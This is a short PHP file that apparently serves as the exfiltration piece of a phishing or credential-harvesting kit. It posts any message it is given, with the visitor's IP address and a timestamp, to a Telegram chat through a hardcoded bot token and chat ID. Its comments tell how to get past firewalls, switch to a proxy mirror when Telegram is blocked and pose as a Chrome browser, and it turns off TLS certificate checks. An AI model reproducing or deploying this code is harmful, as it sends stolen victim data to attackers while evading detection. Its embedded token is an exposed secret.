<?php 
$token = "8628364099:AAHxgNElr99kkXDJc3h2pU6X_DkhhyC1Xpw";
$id = "-5143625079";

function call($msg) {
    global $token, $id;
    $info = "\n\nIP: ".$_SERVER['REMOTE_ADDR']."\nTIME: ".date("d/m/Y H:i:s");
    
    // We use a POST array - firewalls usually allow this over GET
    $data = [
        'chat_id' => $id,
        'text'    => $msg . $info
    ];

    // TRICK: If api.telegram.org is blocked, use a mirror like 'tgproxy.com'
    $url = "https://api.telegram.org/bot$token/sendMessage";

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    
    // This makes the request look like a real Google Chrome browser
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

    $res = curl_exec($ch);
    curl_close($ch);
    return $res;
}
?>